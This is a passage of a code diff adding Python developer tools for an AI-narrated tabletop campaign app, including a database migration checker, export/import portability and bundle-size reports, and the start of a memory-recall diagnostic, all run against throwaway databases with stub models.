client = _client(ctx, user_id)
|
||||
actual = _describe(ctx, client, adv_id)
|
||||
|
||||
problems = []
|
||||
for key in ("title", "canon_rules", "transcript", "head", "counts",
|
||||
"snapshot_rows", "state", "checkpoints", "knowledge", "events",
|
||||
"can_undo", "can_redo"):
|
||||
# Compared through JSON, because that is how the other build's answer
|
||||
# arrived: a tuple written by `_describe` comes back as a list, and a
|
||||
# comparison that called that a difference would report ten differences
|
||||
# in a database nothing had changed.
|
||||
if _comparable(actual[key]) != _comparable(expected[key]):
|
||||
problems.append(f"{key}: expected {expected[key]!r}, got {actual[key]!r}")
|
||||
if expected["schema_version"] != after_first:
|
||||
problems.append(
|
||||
f"the schema version moved: {expected['schema_version']} -> {after_first}"
|
||||
)
|
||||
if after_first != after_second:
|
||||
problems.append(
|
||||
f"a second open migrated again: {after_first} -> {after_second}"
|
||||
)
|
||||
|
||||
# And the campaign still works, rather than merely reading correctly.
|
||||
exported = client.get(f"/api/adventures/{adv_id}/export")
|
||||
if exported.status_code != 200:
|
||||
problems.append(f"export failed: {exported.status_code}")
|
||||
else:
|
||||
imported = client.post("/api/adventures/import", json=exported.json())
|
||||
if imported.status_code != 201:
|
||||
problems.append(f"round trip failed: {imported.text[:300]}")
|
||||
elif exported.json()["format"] != "ai-dnd-adventure-v3":
|
||||
problems.append("the M8 database did not export as v3")
|
||||
redo = client.post(f"/api/adventures/{adv_id}/redo")
|
||||
if redo.status_code != 200:
|
||||
problems.append(f"Redo failed on the migrated campaign: {redo.status_code}")
|
||||
|
||||
ctx["app"].dependency_overrides.clear()
|
||||
return {
|
||||
"schema_version_before": expected["schema_version"],
|
||||
"schema_version_after": after_first,
|
||||
"schema_version_second_open": after_second,
|
||||
"problems": problems,
|
||||
"checked": {
|
||||
"families": 12, "snapshot_rows": actual["snapshot_rows"],
|
||||
"counts": actual["counts"],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("mode", choices=("build", "open"))
|
||||
parser.add_argument("db_path")
|
||||
parser.add_argument("--expected", help="the JSON `build` printed (open only)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.mode == "build":
|
||||
print(json.dumps(build(args.db_path), sort_keys=True))
|
||||
return 0
|
||||
|
||||
expected = json.loads(Path(args.expected).read_text())
|
||||
result = open_it(args.db_path, expected)
|
||||
print(json.dumps(result, indent=2, sort_keys=True))
|
||||
return 1 if result["problems"] else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,354 @@
|
||||
"""Measures what a campaign bundle preserves, omits and rebuilds.
|
||||
|
||||
python -m tools.m9_portability_report # human-readable
|
||||
python -m tools.m9_portability_report --json # machine-readable
|
||||
|
||||
Run from `backend/`, with the virtualenv on the path. The script builds the M9
|
||||
portability fixture in a throwaway database, exports it, imports it into a second
|
||||
throwaway database, and then compares the two campaigns family by family.
|
||||
|
||||
It exists because the M9 brief asks for the baseline to be **measured** rather
|
||||
than assumed. Running it on the M8 commit produces the inventory M9 started from;
|
||||
running it on the M9 tree produces the one M9 finished with, and the difference
|
||||
between the two files is the milestone's portability claim in a form a reviewer
|
||||
can reproduce rather than take on trust.
|
||||
|
||||
The comparison is by data family rather than by row count. "12 actions in, 12
|
||||
actions out" is the check that misses a bundle carrying every turn and none of
|
||||
its state, so each family below reports what a reader could still see afterwards.
|
||||
|
||||
Nothing here touches the developer's own database: two temporary files are
|
||||
created and removed, and no network call is made — the narrator, the summariser
|
||||
and the embedder are all local fakes.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
# The test harness owns the fixture and the fakes. Both live under `tests/`,
|
||||
# which is not a package, so the path is extended rather than imported from.
|
||||
_HERE = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(_HERE.parent / "tests"))
|
||||
|
||||
# `app.database` reads this at import and builds the engine once, exactly as
|
||||
# `tests/conftest.py` explains. It has to be set before the first `app` import.
|
||||
_SOURCE_DB = tempfile.NamedTemporaryFile(suffix="-m9-source.db", delete=False)
|
||||
_SOURCE_DB.close()
|
||||
os.environ["AIDND_DB_PATH"] = _SOURCE_DB.name
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from fastapi import Depends # noqa: E402
|
||||
from fastapi.testclient import TestClient # noqa: E402
|
||||
|
||||
import m9_fixture # noqa: E402
|
||||
from app import auth, limits, memorybank, models # noqa: E402
|
||||
from app.database import Base, SessionLocal, engine, get_db # noqa: E402
|
||||
from app.main import app # noqa: E402
|
||||
from app.routers import adventures # noqa: E402
|
||||
from fakes import ScriptedProvider # noqa: E402
|
||||
|
||||
|
||||
class _StubDerivedProvider:
|
||||
"""Deterministic vectors and prose, so the report needs no model at all.
|
||||
|
||||
One object serves as both the embedder and the summariser, because the
|
||||
memory pass builds each from the same factory and stubbing only one of them
|
||||
is the M6 finding M6-F3 mistake: the unstubbed factory opens a socket
|
||||
against the default endpoint on every turn.
|
||||
"""
|
||||
|
||||
_written = 0
|
||||
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
_StubDerivedProvider._written += 1
|
||||
return (
|
||||
f"Memory {_StubDerivedProvider._written}: what the story had "
|
||||
f"established by this point."
|
||||
)
|
||||
|
||||
async def embed(self, texts):
|
||||
out = []
|
||||
for text in texts:
|
||||
lowered = text.lower()
|
||||
out.append([
|
||||
1.0,
|
||||
1.0 if "abbey" in lowered or "crypt" in lowered else 0.0,
|
||||
1.0 if "tavern" in lowered or "lantern" in lowered else 0.0,
|
||||
1.0 if "rain" in lowered else 0.0,
|
||||
])
|
||||
return out
|
||||
|
||||
|
||||
def _install_fakes() -> None:
|
||||
adventures.turns.OpenAICompatibleProvider = ScriptedProvider
|
||||
memorybank.embedding_provider = lambda s: _StubDerivedProvider()
|
||||
memorybank.summary_provider = lambda s: _StubDerivedProvider()
|
||||
limits.check_row_cap = lambda *a, **k: None
|
||||
|
||||
|
||||
def _new_user_and_campaign(title: str) -> tuple[int, int]:
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user = models.User(is_guest=False, email=f"m9-{title}@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(
|
||||
user_id=user.id, model="report-model", embedding_model="stub-embed",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title=title,
|
||||
campaign_canon=m9_fixture.CAMPAIGN_CANON,
|
||||
)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text=m9_fixture.OPENING,
|
||||
))
|
||||
# A neighbour, so a bundle that reached past its own campaign would
|
||||
# bring back rows this report can see.
|
||||
neighbour = models.Adventure(user_id=user.id, title="Neighbour")
|
||||
db.add(neighbour)
|
||||
db.flush()
|
||||
db.add(models.Action(
|
||||
adventure_id=neighbour.id, type="start", text="A different story.",
|
||||
))
|
||||
db.commit()
|
||||
return adventure.id, user.id
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
def _client(user_id: int) -> TestClient:
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
return TestClient(app)
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- the families
|
||||
# One entry per data family the M9 brief asks the baseline to classify. Each
|
||||
# `present` function answers "did this survive into the file?" from the bundle
|
||||
# alone, because that is the question the classification is about.
|
||||
|
||||
def _actions(bundle: dict) -> list[dict]:
|
||||
return [a for a in (bundle.get("actions") or []) if isinstance(a, dict)]
|
||||
|
||||
|
||||
def _snapshots(bundle: dict) -> list[dict]:
|
||||
"""Every stored prompt in the file, decoded.
|
||||
|
||||
The export compresses them (`bundle._packed`), so a report that looked for a
|
||||
plain dict would say the evidence was omitted when it is merely encoded —
|
||||
which is the mistake this whole tool exists to avoid making about anything.
|
||||
"""
|
||||
from app import bundle as bundle_module
|
||||
|
||||
out = []
|
||||
for action in _actions(bundle):
|
||||
snapshot = (
|
||||
action.get("contextSnapshot")
|
||||
if isinstance(action.get("contextSnapshot"), dict)
|
||||
else bundle_module._unpacked(action.get("contextSnapshotZ"))
|
||||
)
|
||||
if isinstance(snapshot, dict):
|
||||
out.append(snapshot)
|
||||
return out
|
||||
|
||||
|
||||
FAMILIES: list[tuple[str, str, callable]] = [
|
||||
("campaign identity",
|
||||
"title, instructions, persona, canon, the campaign's own settings",
|
||||
lambda b: bool(b.get("title"))),
|
||||
("transcript",
|
||||
"every accepted player and narrator action, live and superseded",
|
||||
lambda b: bool(_actions(b))),
|
||||
("branches",
|
||||
"the retained tree, its fork points and its names",
|
||||
lambda b: bool(b.get("branches"))),
|
||||
("branch disposition",
|
||||
"which lines the story left behind, and where",
|
||||
lambda b: any("supersededAt" in x for x in (b.get("branches") or []))),
|
||||
("active head",
|
||||
"the branch and depth the campaign is being read at",
|
||||
lambda b: b.get("headDepth") is not None),
|
||||
("alternate takes",
|
||||
"every attempt at a turn, and which one is the story",
|
||||
lambda b: any(not a.get("live", True) for a in _actions(b))),
|
||||
("take grouping",
|
||||
"which attempts belong to the same turn across a fork (SP9 parentage)",
|
||||
lambda b: any("parentId" in a for a in _actions(b))),
|
||||
("save points",
|
||||
"named coordinates, their notes and their positions",
|
||||
lambda b: bool(b.get("checkpoints"))),
|
||||
("narrative state (current)",
|
||||
"the authoritative document at the exported head",
|
||||
lambda b: b.get("narrativeState") is not None),
|
||||
("narrative state (per position)",
|
||||
"the snapshot every position restores from",
|
||||
lambda b: any("narrativeStateAfter" in a for a in _actions(b))),
|
||||
("state events",
|
||||
"the accepted typed events: the audit half of the hybrid",
|
||||
lambda b: bool(b.get("stateEvents"))),
|
||||
("state proposals",
|
||||
"what the model proposed and what the application did about it",
|
||||
lambda b: bool(b.get("stateProposals"))),
|
||||
("manual corrections",
|
||||
"state the user asserted, distinguishable from state the story did",
|
||||
lambda b: any(e.get("source") == "manual_correction"
|
||||
for e in (b.get("stateEvents") or []))),
|
||||
("historical prompt/context",
|
||||
"the exact prompt each turn was given",
|
||||
lambda b: bool(_snapshots(b))),
|
||||
("retrieval provenance",
|
||||
"which passages a historical turn was shown, and their text",
|
||||
lambda b: any((s.get("knowledge") or {}).get("used") for s in _snapshots(b))),
|
||||
("per-turn model settings",
|
||||
"the model and generation settings a historical turn ran under",
|
||||
lambda b: any(s.get("settings") for s in _snapshots(b))),
|
||||
("imported knowledge",
|
||||
"source content, class, lifecycle, visibility and hash",
|
||||
lambda b: bool(b.get("knowledge"))),
|
||||
("knowledge parser versions",
|
||||
"what produced the chunks the source last had",
|
||||
lambda b: any("parserVersion" in k for k in (b.get("knowledge") or []))),
|
||||
("summaries",
|
||||
"the generated rolling summaries and the story they cover",
|
||||
lambda b: bool(b.get("summaries"))),
|
||||
("memories",
|
||||
"long-term memories and the coordinate each hangs off",
|
||||
lambda b: bool(b.get("memories"))),
|
||||
("memory authority",
|
||||
"whether a memory is accepted story or a heuristic reading of it",
|
||||
lambda b: any("authority" in m for m in (b.get("memories") or []))),
|
||||
("scene metadata",
|
||||
"the scene section of the authoritative state document",
|
||||
lambda b: isinstance(b.get("narrativeState"), dict)
|
||||
and "scene" in b["narrativeState"]),
|
||||
("story cards (legacy)",
|
||||
"the inherited lore primitive, which has no v1 browser surface",
|
||||
lambda b: "storyCards" in b),
|
||||
]
|
||||
|
||||
#: Families that are deliberately rebuilt rather than carried, with the reason.
|
||||
REBUILDABLE = {
|
||||
"knowledge passages": "a deterministic function of the source content",
|
||||
"lexical (FTS) index": "rebuilt from the passages on import",
|
||||
"knowledge embeddings": "belong to the importing machine's embedding model",
|
||||
"memory embeddings": "the same, for the memory bank",
|
||||
"branch lineage cache": "computed from parent plus fork depth",
|
||||
"derived status": "describes the last run of a background pass, not the story",
|
||||
}
|
||||
|
||||
|
||||
def measure(json_out: bool) -> dict:
|
||||
_install_fakes()
|
||||
Base.metadata.create_all(bind=engine)
|
||||
adv_id, user_id = _new_user_and_campaign("M9 Portability Fixture")
|
||||
client = _client(user_id)
|
||||
|
||||
built = time.perf_counter()
|
||||
source = m9_fixture.build(client, adv_id)
|
||||
build_seconds = time.perf_counter() - built
|
||||
|
||||
started = time.perf_counter()
|
||||
response = client.get(f"/api/adventures/{adv_id}/export")
|
||||
export_seconds = time.perf_counter() - started
|
||||
response.raise_for_status()
|
||||
bundle = response.json()
|
||||
encoded = json.dumps(bundle, ensure_ascii=False).encode("utf-8")
|
||||
|
||||
started = time.perf_counter()
|
||||
imported = client.post("/api/adventures/import", json=bundle)
|
||||
import_seconds = time.perf_counter() - started
|
||||
import_status = imported.status_code
|
||||
copy = (
|
||||
m9_fixture.snapshot_of(client, imported.json()["id"])
|
||||
if import_status == 201 else None
|
||||
)
|
||||
|
||||
source_db_bytes = Path(_SOURCE_DB.name).stat().st_size
|
||||
app.dependency_overrides.clear()
|
||||
|
||||
families = [
|
||||
{"family": name, "what": what,
|
||||
"verdict": "PRESERVED" if present(bundle) else "OMITTED"}
|
||||
for name, what, present in FAMILIES
|
||||
]
|
||||
report = {
|
||||
"format": bundle.get("format"),
|
||||
"families": families,
|
||||
"rebuildable": REBUILDABLE,
|
||||
"sizes": {
|
||||
"source_database_bytes": source_db_bytes,
|
||||
"bundle_bytes": len(encoded),
|
||||
"bundle_actions": len(_actions(bundle)),
|
||||
"bundle_keys": sorted(bundle),
|
||||
},
|
||||
"timings_seconds": {
|
||||
"fixture_build": round(build_seconds, 3),
|
||||
"export": round(export_seconds, 3),
|
||||
"import": round(import_seconds, 3),
|
||||
},
|
||||
"round_trip": {
|
||||
"import_status": import_status,
|
||||
"agrees": _agreement(source, copy) if copy else None,
|
||||
},
|
||||
}
|
||||
return report
|
||||
|
||||
|
||||
def _agreement(source: dict, copy: dict) -> dict:
|
||||
"""Which of the reader-visible families match between original and copy."""
|
||||
keys = ("title", "canon_rules", "transcript", "branch_count", "checkpoints",
|
||||
"knowledge", "state", "state_events", "memories", "summaries",
|
||||
"can_undo", "can_redo")
|
||||
return {key: source.get(key) == copy.get(key) for key in keys}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--json", action="store_true",
|
||||
help="print the report as JSON")
|
||||
args = parser.parse_args()
|
||||
try:
|
||||
report = measure(args.json)
|
||||
finally:
|
||||
for path in (_SOURCE_DB.name,):
|
||||
try:
|
||||
os.unlink(path)
|
||||
except OSError:
|
||||
pass
|
||||
if args.json:
|
||||
print(json.dumps(report, indent=2, sort_keys=True))
|
||||
return 0
|
||||
print(f"bundle format: {report['format']}")
|
||||
print(f"bundle size: {report['sizes']['bundle_bytes']:,} bytes "
|
||||
f"across {report['sizes']['bundle_actions']} actions")
|
||||
print(f"source db: {report['sizes']['source_database_bytes']:,} bytes")
|
||||
print(f"timings: {report['timings_seconds']}")
|
||||
print()
|
||||
width = max(len(name) for name, _, _ in FAMILIES)
|
||||
for row in report["families"]:
|
||||
print(f" {row['verdict']:<10} {row['family']:<{width}} {row['what']}")
|
||||
print()
|
||||
print(" DERIVED/REBUILDABLE (deliberately not carried)")
|
||||
for name, why in REBUILDABLE.items():
|
||||
print(f" {name:<24} {why}")
|
||||
print()
|
||||
print(f"round trip: HTTP {report['round_trip']['import_status']}")
|
||||
for key, agreed in (report["round_trip"]["agrees"] or {}).items():
|
||||
print(f" {'same' if agreed else 'DIFFERS':<8} {key}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,264 @@
|
||||
"""How a campaign bundle grows with the campaign, measured rather than reasoned.
|
||||
|
||||
python -m tools.m9_scale_report [--turns 120] [--budget 16384]
|
||||
|
||||
Run from `backend/`. Plays a campaign of `--turns` turns against a scripted
|
||||
narrator with the real prompt builder and a realistic context budget, then
|
||||
exports it and reports where the bytes are.
|
||||
|
||||
The question it exists to answer is the one M9's decision to carry historical
|
||||
prompts raises: **a per-turn prompt contains the story so far, so storing one per
|
||||
turn is quadratic in campaign length.** That is already true of the database —
|
||||
`compression.py` records the column as 89% of production storage — and M9 makes
|
||||
it true of the export as well. Reasoning about it gives the wrong number, because
|
||||
the prompt is bounded by the context budget rather than by the transcript: once
|
||||
the history window is full, each turn's snapshot stops growing and the total
|
||||
becomes linear again. Where that knee falls is a measurement.
|
||||
|
||||
It also watches for the accidental costs §26 names: a query per row, a
|
||||
duplicated body of knowledge content, or a snapshot written more than once per
|
||||
turn.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
_HERE = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(_HERE.parent / "tests"))
|
||||
|
||||
_DB = tempfile.NamedTemporaryFile(suffix="-m9-scale.db", delete=False)
|
||||
_DB.close()
|
||||
os.environ["AIDND_DB_PATH"] = _DB.name
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from fastapi import Depends # noqa: E402
|
||||
from fastapi.testclient import TestClient # noqa: E402
|
||||
|
||||
import m9_fixture # noqa: E402
|
||||
from app import auth, limits, memorybank, models # noqa: E402
|
||||
from app.database import Base, SessionLocal, engine, get_db # noqa: E402
|
||||
from app.main import app # noqa: E402
|
||||
from app.routers import adventures # noqa: E402
|
||||
from fakes import ScriptedProvider, state_block # noqa: E402
|
||||
|
||||
#: Prose long enough that a turn is a turn rather than a sentence. The history
|
||||
#: window is what fills the prompt, so a fixture of three-word replies would
|
||||
#: measure a campaign nobody plays.
|
||||
PROSE = (
|
||||
"The rain came harder off the fen and the lantern light shivered on the wet "
|
||||
"boards. Mara set down the cloth she had been folding and looked at him for "
|
||||
"a while without saying anything, the way she did when the answer was going "
|
||||
"to cost her something. Outside, somebody crossed the yard and did not stop."
|
||||
)
|
||||
|
||||
|
||||
class _Stub:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "The story had established a good deal by this point."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.5, 0.25, 0.125] for _ in texts]
|
||||
|
||||
|
||||
def _setup(budget: int) -> tuple[TestClient, int]:
|
||||
adventures.turns.OpenAICompatibleProvider = ScriptedProvider
|
||||
memorybank.embedding_provider = lambda s: _Stub()
|
||||
memorybank.summary_provider = lambda s: _Stub()
|
||||
limits.check_row_cap = lambda *a, **k: None
|
||||
Base.metadata.create_all(bind=engine)
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user = models.User(is_guest=False, email="scale@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(
|
||||
user_id=user.id, model="scale-model", embedding_model="stub",
|
||||
context_token_budget=budget, max_output_tokens=800,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Scale", auto_summarize=True,
|
||||
memory_bank_enabled=True,
|
||||
campaign_canon=m9_fixture.CAMPAIGN_CANON,
|
||||
)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text=m9_fixture.OPENING,
|
||||
))
|
||||
db.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
finally:
|
||||
db.close()
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
return TestClient(app), adv_id
|
||||
|
||||
|
||||
def _bundle_bytes(client, adv_id) -> tuple[int, dict, float]:
|
||||
started = time.perf_counter()
|
||||
response = client.get(f"/api/adventures/{adv_id}/export")
|
||||
seconds = time.perf_counter() - started
|
||||
response.raise_for_status()
|
||||
payload = response.json()
|
||||
return len(json.dumps(payload).encode("utf-8")), payload, seconds
|
||||
|
||||
|
||||
def _snapshot_bytes(payload: dict) -> int:
|
||||
"""What the stored prompts cost **in the file**, which is the encoded size.
|
||||
|
||||
Measured as they appear rather than decoded first: the question this report
|
||||
answers is how large the file gets and how close it comes to the import
|
||||
ceiling, so what counts is the bytes that actually travel.
|
||||
"""
|
||||
return sum(
|
||||
len(json.dumps(action[key]).encode("utf-8"))
|
||||
for action in payload["actions"]
|
||||
for key in ("contextSnapshotZ", "contextSnapshot")
|
||||
if action.get(key)
|
||||
)
|
||||
|
||||
|
||||
def _decoded_snapshot_bytes(payload: dict) -> int:
|
||||
"""What the same prompts would cost uncompressed, for the ratio."""
|
||||
from app import bundle as bundle_module
|
||||
|
||||
total = 0
|
||||
for action in payload["actions"]:
|
||||
snapshot = (
|
||||
action.get("contextSnapshot")
|
||||
if isinstance(action.get("contextSnapshot"), dict)
|
||||
else bundle_module._unpacked(action.get("contextSnapshotZ"))
|
||||
)
|
||||
if isinstance(snapshot, dict):
|
||||
total += len(json.dumps(snapshot).encode("utf-8"))
|
||||
return total
|
||||
|
||||
|
||||
def _section_bytes(payload: dict) -> dict:
|
||||
"""What each v3 addition costs in the file, separately.
|
||||
|
||||
Needed because "the snapshots are 21% of the file" does not answer "what did
|
||||
M9 add": the state events, the proposals and the summaries are v3 additions
|
||||
too, and a claim about M9's cost that counted only the prompts would be
|
||||
understating it.
|
||||
"""
|
||||
def size(value) -> int:
|
||||
return len(json.dumps(value).encode("utf-8"))
|
||||
|
||||
per_node = {"contextSnapshotZ": 0, "id": 0, "parentId": 0}
|
||||
for action in payload["actions"]:
|
||||
for key in per_node:
|
||||
if key in action:
|
||||
per_node[key] += size(action[key]) + len(key) + 4
|
||||
return {
|
||||
"prompts (contextSnapshotZ)": per_node["contextSnapshotZ"],
|
||||
"state events": size(payload.get("stateEvents") or []),
|
||||
"state proposals": size(payload.get("stateProposals") or []),
|
||||
"summaries": size(payload.get("summaries") or []),
|
||||
"node ids + parentage": per_node["id"] + per_node["parentId"],
|
||||
"per-position state (v2 already)": sum(
|
||||
size(a["narrativeStateAfter"]) for a in payload["actions"]
|
||||
if "narrativeStateAfter" in a
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--turns", type=int, default=120)
|
||||
parser.add_argument("--budget", type=int, default=16384)
|
||||
parser.add_argument("--every", type=int, default=20,
|
||||
help="report the running size every N turns")
|
||||
args = parser.parse_args()
|
||||
|
||||
client, adv_id = _setup(args.budget)
|
||||
for name, body, kind in (
|
||||
("canon.md", m9_fixture.CANON_MD, "canon"),
|
||||
("reference.md", m9_fixture.REFERENCE_MD, "reference"),
|
||||
("secret.md", m9_fixture.SECRET_MD, "canon"),
|
||||
):
|
||||
m9_fixture.upload(client, adv_id, name, body, kind)
|
||||
|
||||
print(f"budget {args.budget} tokens, {args.turns} turns\n")
|
||||
print(f"{'turns':>6} {'actions':>8} {'bundle B':>12} {'snapshots B':>13} "
|
||||
f"{'B/turn':>9} {'export s':>9} {'import s':>9}")
|
||||
rows = []
|
||||
sections: dict[int, dict] = {}
|
||||
for turn in range(1, args.turns + 1):
|
||||
ScriptedProvider.replies = [
|
||||
f"{PROSE} [{turn}]\n"
|
||||
+ state_block([{"type": "add_fact", "predicate": "tally",
|
||||
"value": turn * 10, "fact_id": f"tally-{turn}"}])
|
||||
]
|
||||
response = client.post(f"/api/adventures/{adv_id}/actions",
|
||||
json={"type": "do", "text": f"press on, {turn}"})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
if turn % args.every and turn != args.turns:
|
||||
continue
|
||||
m9_fixture.settle_derived(adv_id)
|
||||
size, payload, export_seconds = _bundle_bytes(client, adv_id)
|
||||
started = time.perf_counter()
|
||||
imported = client.post("/api/adventures/import", json=payload)
|
||||
import_seconds = time.perf_counter() - started
|
||||
assert imported.status_code == 201, imported.text[:300]
|
||||
client.delete(f"/api/adventures/{imported.json()['id']}")
|
||||
snapshots = _snapshot_bytes(payload)
|
||||
plain = _decoded_snapshot_bytes(payload)
|
||||
rows.append((turn, size, snapshots, plain))
|
||||
sections[turn] = _section_bytes(payload)
|
||||
print(f"{turn:>6} {len(payload['actions']):>8} {size:>12,} "
|
||||
f"{snapshots:>13,} {snapshots // turn:>9,} "
|
||||
f"{export_seconds:>9.3f} {import_seconds:>9.3f}")
|
||||
|
||||
db_bytes = Path(_DB.name).stat().st_size
|
||||
last_turn, last_size, last_snapshots, last_plain = rows[-1]
|
||||
per_turn = last_snapshots // last_turn
|
||||
cap = limits.MAX_IMPORT_BODY_BYTES
|
||||
print()
|
||||
print(f"database on disk: {db_bytes:,} bytes")
|
||||
print(f"snapshot share of file: {100 * last_snapshots // last_size}%")
|
||||
print(f"stored uncompressed: {last_plain:,} bytes "
|
||||
f"({last_plain / max(last_snapshots, 1):.1f}x the encoded size)")
|
||||
print(f"import body cap: {cap:,} bytes")
|
||||
print(f"turns before the cap: ~{cap // max(per_turn, 1):,} "
|
||||
f"at the marginal rate above")
|
||||
# Growth between the last two samples says whether the per-turn cost has
|
||||
# settled. It should: once the history window fills the budget, a prompt
|
||||
# stops growing with the transcript and the total becomes linear.
|
||||
if len(rows) >= 2:
|
||||
(t0, _, s0, _p0), (t1, _, s1, _p1) = rows[-2], rows[-1]
|
||||
print(f"marginal cost, last {t1 - t0} turns: "
|
||||
f"{(s1 - s0) // max(t1 - t0, 1):,} bytes/turn")
|
||||
print()
|
||||
print("where the bytes are, at the last sample:")
|
||||
last = sections[last_turn]
|
||||
added = sum(v for k, v in last.items() if not k.endswith("(v2 already)"))
|
||||
for name, value in sorted(last.items(), key=lambda kv: -kv[1]):
|
||||
print(f" {name:34} {value:>12,} {100 * value / last_size:5.1f}%")
|
||||
print(f" {'--- everything v3 added':34} {added:>12,} "
|
||||
f"{100 * added / last_size:5.1f}%")
|
||||
without = last_size - added
|
||||
print(f" a v2 file of the same campaign {without:>12,}")
|
||||
print(f" ceiling with v3 additions: ~{int((cap / (last_size / last_turn**2)) ** 0.5):,} turns")
|
||||
print(f" ceiling without them: ~{int((cap / (without / last_turn**2)) ** 0.5):,} turns")
|
||||
app.dependency_overrides.clear()
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
raise SystemExit(main())
|
||||
finally:
|
||||
try:
|
||||
os.unlink(_DB.name)
|
||||
except OSError:
|
||||
pass
|
||||
@@ -0,0 +1,960 @@
|
||||
"""v1.1 WP-B.1: where an early story fact is lost on its way to the narrator.
|
||||
|
||||
One planted fact **F** has four stages to survive before the narrator can use
|
||||
it from memory, and this module reports each one separately:
|
||||
|
||||
created a memory whose `source_start`..`source_end` covers the planting
|
||||
depth carries F
|
||||
retained that memory is not `forgotten`
|
||||
ranked it is eligible on the active lineage and embedded, and where it
|
||||
scores for the recall query against `memory_top_k`
|
||||
injected the recall turn's own stored `memories.used` names it, and its text
|
||||
is in that turn's `used_memories` section
|
||||
|
||||
A fact is only evidence about memory if memory is the **only** thing carrying it.
|
||||
`isolation()` checks every other layer: the authoritative document, per-node state
|
||||
snapshots, the active summary, imported knowledge, the narration after the
|
||||
planting block, and the recent-history window. A run where any of those carries F
|
||||
is reported as a failed precondition, never as a memory result.
|
||||
|
||||
**Nothing here changes behaviour.**
|
||||
- It reads rows.
|
||||
- It reuses production's own pure helpers (`memorybank._drop_redundant`,
|
||||
`memorybank.classify_authority`, `vectors.cosine`, `lineage.path_of`), so its
|
||||
ranking is production's ranking, not a second opinion.
|
||||
- It checks itself against what the recall turn actually recorded.
|
||||
- The only computed fields are ephemeral report data. No column or table is
|
||||
added.
|
||||
|
||||
The deterministic stubs at the bottom stand in for the models when a test needs a
|
||||
fixed answer. **Read what they model before reading any result they produce:**
|
||||
|
||||
- `BestCaseSummariser` keeps F if and only if F is in the excerpt it is given.
|
||||
It is the ideal summariser, so a creation failure under it is the
|
||||
application's, not the model's.
|
||||
- `ConceptEmbedder` maps words to a small concept table, so that "the brass dial
|
||||
that tells the hour" lands near "sundial". It models what an embedding is
|
||||
supposed to do. It says nothing about how well `nomic-embed-text` does it,
|
||||
which is what the real-model run is for.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import math
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from sqlalchemy import select
|
||||
|
||||
from app import memorybank, models, summaries, vectors
|
||||
from app.context import builder, history, lineage
|
||||
from app.knowledge import classes as knowledge_classes
|
||||
|
||||
VERDICTS = (
|
||||
"not_created",
|
||||
"created_but_evicted",
|
||||
"retained_but_not_ranked",
|
||||
"ranked_but_not_selected",
|
||||
"selected_but_not_injected",
|
||||
"injected",
|
||||
)
|
||||
|
||||
#: Section labels in a stored context snapshot. Copied from the builder's
|
||||
#: vocabulary so a renamed section fails loudly here.
|
||||
HISTORY_LABELS = ("history", "recent_history")
|
||||
SUMMARY_LABEL = "story_summary"
|
||||
MEMORIES_LABEL = "used_memories"
|
||||
STATE_LABEL = "narrative_state"
|
||||
KNOWLEDGE_LABELS = (
|
||||
knowledge_classes.SECTION_CANON,
|
||||
knowledge_classes.SECTION_REFERENCE,
|
||||
knowledge_classes.SECTION_INSPIRATION,
|
||||
)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Fact:
|
||||
"""A planted fact, and how to recognise it in a text.
|
||||
|
||||
`carry_groups`: a text carries the fact when every group matches, where a
|
||||
group matches when any one of its terms appears as a whole word. A memory has
|
||||
